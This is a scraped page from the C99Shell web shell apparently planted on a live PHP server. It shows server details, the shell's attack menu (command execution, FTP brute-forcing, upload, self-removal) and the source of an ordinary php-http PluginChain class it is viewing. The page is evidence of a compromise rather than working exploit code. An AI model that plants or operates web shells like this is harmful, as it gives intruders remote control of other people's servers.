!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/php-http/client-common/src/   drwxr-xr-x
Free 29.12 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PluginChain.php (1.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Http\Client\Common;

use 
Http\Client\Common\Exception\LoopException;
use 
Http\Promise\Promise;
use 
Psr\Http\Message\RequestInterface;

final class 
PluginChain
{
    
/** @var Plugin[] */
    
private $plugins;

    
/** @var callable(RequestInterface): Promise */
    
private $clientCallable;

    
/** @var int */
    
private $maxRestarts;

    
/** @var int */
    
private $restarts 0;

    
/**
     * @param Plugin[]                            $plugins        A plugin chain
     * @param callable(RequestInterface): Promise $clientCallable Callable making the HTTP call
     * @param array{'max_restarts'?: int}         $options
     */
    
public function __construct(array $plugins, callable $clientCallable, array $options = [])
    {
        
$this->plugins $plugins;
        
$this->clientCallable $clientCallable;
        
$this->maxRestarts = (int) ($options['max_restarts'] ?? 0);
    }

    private function 
createChain(): callable
    {
        
$lastCallable $this->clientCallable;
        
$reversedPlugins \array_reverse($this->plugins);

        foreach (
$reversedPlugins as $plugin) {
            
$lastCallable = function (RequestInterface $request) use ($plugin$lastCallable) {
                return 
$plugin->handleRequest($request$lastCallable$this);
            };
        }

        return 
$lastCallable;
    }

    public function 
__invoke(RequestInterface $request): Promise
    
{
        if (
$this->restarts $this->maxRestarts) {
            throw new 
LoopException('Too many restarts in plugin client'$request);
        }

        ++
$this->restarts;

        return 
$this->createChain()($request);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--